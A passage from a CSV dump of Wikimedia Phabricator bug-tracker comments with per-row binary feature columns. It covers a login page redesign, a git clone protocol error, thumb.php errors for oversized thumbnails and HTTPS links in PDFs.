+4394,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,,,,1414529166,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+4393,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,,,,1414529160,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+4392,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"@aklapper, thanks for the numbers!",,,1414529146,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0
+4391,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"@qgil this is symptomatic of our projects at large to me, ""why make it simple or easy when people seem to be getting by with what we give them now, as broken as it is"" I don't mean to call you out specifically but I think its been ingrained in our culture to the point that that kind of thinking has become pervasive. I don't think the current flow or design is acceptable, and I'd like to see us prioritize an experience that invites non-technical people to contribute to the project via this tool, both with the words we use and with the interface we expose to them.",,,1414529104,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,1,1,0,1,1,1,1,0,0,0
+4383,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"What I mean is that Phabricator hasn't even announced a launch date, we have already more than 600 users, and people seem to be finding their way through. We have some blockers for the launch, but at this point they are mostly problems related with the migration of Bugzilla / RT data. The login page functionally works, and we can keep improving its usability also after the launch. The changes proposed in M7 are not supported by Phabricator, and therefore we need to either change the plan or allocate significantresources to implement it.",,,1414523534,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+4382,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,Active Bugzilla users per month: 2014-06: 509; 2014-07: 501; 2014-08: 515; 2014-09: 475. Total number of Bugzilla accounts today: 19936. Don't have stats for other systems.,,,1414522517,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+4376,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,600… how many total and active users does Bugzilla+Trello+Mingle+Gerrit have?,,,1414520669,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,False,,,-36,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0
+4314,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"We have more than 600 users registered by now: https://phabricator.wikimedia.org/people/query/all/
+
+I agree the login page can be improved, but I don't consider it an obstacle for the launch. 
+
+T545 is low-hanging fruit and probably the most efficient way to reduce confusion right now. That text is already customized for Wikimedia, and can be edited without adding any local patch.",,,1414485794,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0
+4304,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,@chasemp If we find that login issues are high enough priority then we might want to promote this to a blocker for release. ,,,1414450650,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0
+4303,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,AFAIK there is no team or development resources designated for maintaining any local changes long term.  Until that is figured out there is little point in forking locally for anything that is not an extreme functionality or security issue.  This will not be addressed from my perspective until post migration.,,,1414449339,,PHID-USER-3neel27i7dyu62jbbx2l,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+4244,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,Related: https://meta.wikimedia.org/wiki/User_talk:Erik_Moeller_(WMF)#Phabricator_login_sequence,,,1414383184,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+4085,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,@aklapper yeah some sort of [[ https://phabricator.wikimedia.org/T116  | Checklist ]] function would be great ;),,,1414190358,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,False,,,-36,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,1
+4079,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,Fair. Added my bits. Jared might have more.,,,1414188751,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0
+4072,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"Would like to see a list which issues to solve / fix.
+""Redesign the login page"" itself is not a valid problem but only a potential solution. :)",,,1414184315,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,1,0,0,0,0
+155,"""I don't handle protocol ' https'"" when trying to have Phabricator watch "" https://git.wikimedia.org"" repo (URL with preceding whitespace)","Phabricator has a feature to watch a repository hosted elsewhere, which is being used here for testing with several repos (e.g. rMW).  Several of these use https URLs (e.g. rMW has https://github.com/wikimedia/mediawiki-core, rMMV has https://gerrit.wikimedia.org/r/mediawiki/extensions/MultimediaViewer).
+
+I tried to use https://git.wikimedia.org/git/mediawiki/extensions/GettingStarted.git (which I think is controlled by GitBlit) for GettingStarted.  However, it refused to clone it (see rGETTINGSTARTED).  I wonder if it's getting confused because of the .git suffix.",Low,25.0,1398721836,1410485592.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-nyhmztvvw4luz5mlcuvg,False,PHID-TASK-dmj5ddicrmefwffa4ikt,task_description,resolved,True,c3,1,True,False,True,-62,True,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+1363,"""I don't handle protocol ' https'"" when trying to have Phabricator watch "" https://git.wikimedia.org"" repo (URL with preceding whitespace)",//importing issue status//,,,1410485592,,PHID-USER-nyhmztvvw4luz5mlcuvg,True,,,PHID-TASK-dmj5ddicrmefwffa4ikt,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+1362,"""I don't handle protocol ' https'"" when trying to have Phabricator watch "" https://git.wikimedia.org"" repo (URL with preceding whitespace)","**qgil** wrote on `2014-05-14 17:13:16 (UTC)`
+
+Reopening only to fix a board. Sorry for the noise.",,,1410485592,,PHID-USER-nyhmztvvw4luz5mlcuvg,True,,,PHID-TASK-dmj5ddicrmefwffa4ikt,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+1361,"""I don't handle protocol ' https'"" when trying to have Phabricator watch "" https://git.wikimedia.org"" repo (URL with preceding whitespace)","**qgil** wrote on `2014-05-11 16:43:43 (UTC)`
+
+I'm assuming that once this is fixed upstream we can resolve it here, since our new instance will have these changes integrated. 
+
+It will be different when we have our actual Phabricator instance up, requiring to be updated.",,,1410485591,,PHID-USER-nyhmztvvw4luz5mlcuvg,True,,,PHID-TASK-dmj5ddicrmefwffa4ikt,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+1360,"""I don't handle protocol ' https'"" when trying to have Phabricator watch "" https://git.wikimedia.org"" repo (URL with preceding whitespace)","**mattflaschen** wrote on `2014-05-11 14:27:23 (UTC)`
+
+This is fixed upstream (by validating it more strictly, not by trimming it then continuing silently).
+
+@aklapper Does ""Waiting for upstream"" mean we're waiting for upstream to fix it, or that it's already fixed upstream, but we need to update our instance so we get the fix?",,,1410485591,,PHID-USER-nyhmztvvw4luz5mlcuvg,True,,,PHID-TASK-dmj5ddicrmefwffa4ikt,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0
+1359,"""I don't handle protocol ' https'"" when trying to have Phabricator watch "" https://git.wikimedia.org"" repo (URL with preceding whitespace)","**mattflaschen** wrote on `2014-04-28 23:56:43 (UTC)`
+
+It's because of the space before https.  Filed upstream as https://secure.phabricator.com/T4913 (to request they trim it).
+
+I'm going to delete the rGITBLIT project now.",,,1410485591,,PHID-USER-nyhmztvvw4luz5mlcuvg,True,,,PHID-TASK-dmj5ddicrmefwffa4ikt,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0,1,0,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+1358,"""I don't handle protocol ' https'"" when trying to have Phabricator watch "" https://git.wikimedia.org"" repo (URL with preceding whitespace)","**mattflaschen** wrote on `2014-04-28 21:59:10 (UTC)`
+
+Full error was:
+
+  Pull of ""GETTINGSTARTED"" failed: Command failed with error #128! COMMAND git clone --bare -- 'xxxxx' '/data/project/phabricator-git/GETTINGSTARTED' STDOUT Cloning into bare repository '/data/project/phabricator-git/GETTINGSTARTED'... STDERR fatal: I don't handle protocol ' https' 
+
+",,,1410485590,,PHID-USER-nyhmztvvw4luz5mlcuvg,True,,,PHID-TASK-dmj5ddicrmefwffa4ikt,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+1357,"""I don't handle protocol ' https'"" when trying to have Phabricator watch "" https://git.wikimedia.org"" repo (URL with preceding whitespace)","**mattflaschen** wrote on `2014-04-28 21:57:24 (UTC)`
+
+I created rGITBLIT (I chose an old project, https://git.wikimedia.org/git/mediawiki/extensions/E3Experiments.git, that is no longer being committed to) so I could test this issue specifically, then get rGETTINGSTARTED working (even if I had to use a different mirror).
+
+Surprisingly, rGITBLIT now seems to be working (import in progress) slowly but steadily.  I don't know any relevant difference, so it might be an intermittent error.",,,1410485590,,PHID-USER-nyhmztvvw4luz5mlcuvg,True,,,PHID-TASK-dmj5ddicrmefwffa4ikt,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+74328,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error","As title says: If a width larger than the original is called, return original image instead of error.
+
+--------------------------
+**Version**: 1.22.12
+**Severity**: enhancement",Lowest,10.0,1413916020,,PHID-USER-qjb2hbe663dhrrpskylp,False,,False,PHID-TASK-fuapw72rokpk4kcjhcjm,task_description,open,True,c3,1,False,False,,-37,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0
+795473,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error","Change 332425 abandoned by Mholloway:
+thumb.php: Redirect rather than throwing 400 if requested width >= original
+
+Reason:
+Seems not viable as written.  Discussion to be continued on the linked Phab tasks.
+
+[[https://gerrit.wikimedia.org/r/332425]]",,,1485104993,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,3,False,,,81,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+792301,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error","Change 332425 had a related patch set uploaded (by Mholloway):
+thumb.php: Redirect rather than throwing 400 if requested width >= original
+
+[[https://gerrit.wikimedia.org/r/332425]]
+",,,1484634368,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,3,False,,,80,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+759205,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error",Solving this or T75935 would help the apps and Mobile Content Service users a lot.,,,1478799370,,PHID-USER-tjyfydvd4ncrfvvr6mkr,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,3,False,,,71,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0
+407140,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error","Tgr: Thanks, the redirect works.
+
+This ticket in other words: If the referenced file exists, thumb.php should always return an image and no error.",,,1423137220,,PHID-USER-qjb2hbe663dhrrpskylp,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1
+333627,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error","As a quick and dirty workaround, you can use index.php?title=Special:Redirect/file/Foo.jpg&width=500 which will do a redirect if the file is smaller. It probably does not accept all the parameters thumb.php does, though.",,,1417030028,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,1,True,,,-32,True,1,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,1
+333467,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error",See also T75935,,,1417007324,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+328660,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error","Check if viewport has enough width to display the 500px image. 
+
+Call thumb.php?f=Foo.jpg&w=500 > Displays a 500px thumb or a smaller original
+
+How does returning an error help?",,,1414065684,,PHID-USER-qjb2hbe663dhrrpskylp,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,1,1,0,1,1,0,1
+328656,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error","How does returning the original help? If you know the size of the original, you can just cap the requested size on the client size. If you don't know the original size, the result will look crappy anyway.
+
+Returning the original image for a practically infinite variety of URLs would AFAIK result in pollution of the varnish cache as the image would have to be stored there for every URL separately.",,,1413999899,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,1,True,,,-37,True,1,0,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+328653,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error",I use this for dynmaic thumb resizing with javascript.,,,1413996579,,PHID-USER-qjb2hbe663dhrrpskylp,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+328648,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error",Why should this happen?,,,1413922145,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+73590,External links inside PDF should not be HTTPS when page was accessed via HTTP,"Form Iran and China Https access is difficult so these two countries use Http for mediawiki projects.
+
+Pdf which is generated by Collection extension has Https link on their internal Link
+http://fa.wikipedia.org/wiki/%DA%A9%D8%A7%D8%B1%D8%A8%D8%B1:Yamaha5/bug_of_pdf
+
+I connected to wiki with http but the pdf's links are in https
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Lowest,10.0,1412310120,1614503611.0,PHID-USER-dswbdv7ibhsefllcqarz,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-nxxih4v7t3qkwpcba7ou,task_description,declined,True,c3,1,False,False,False,-39,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+1673955,External links inside PDF should not be HTTPS when page was accessed via HTTP,Declining as https://wikitech.wikimedia.org/wiki/HTTPS happened in the meantime.,,,1614503611,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nxxih4v7t3qkwpcba7ou,task_subcomment,,True,c3,3,True,,,295,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0
+930270,External links inside PDF should not be HTTPS when page was accessed via HTTP,"As already announced in [[ https://meta.wikimedia.org/wiki/Tech/News/2017/37 | Tech News ]], OfflineContentGenerator (OCG) will not be used anymore after October 1st, 2017 on Wikimedia sites. OCG will be replaced by Electron. [[ https://www.mediawiki.org/wiki/Special:MyLanguage/Reading/Web/PDF_Functionality | You can read more on mediawiki.org. ]]",,,1505380702,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nxxih4v7t3qkwpcba7ou,task_subcomment,,True,c3,3,True,,,115,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1
+331477,External links inside PDF should not be HTTPS when page was accessed via HTTP,"(In reply to Andre Klapper from comment #1)
+> Could you rephrase ""use IP's log in ssh""? I'm afraid I don't understand it. 
+> Did you mean SSL? What is an ""IP's log""?
+
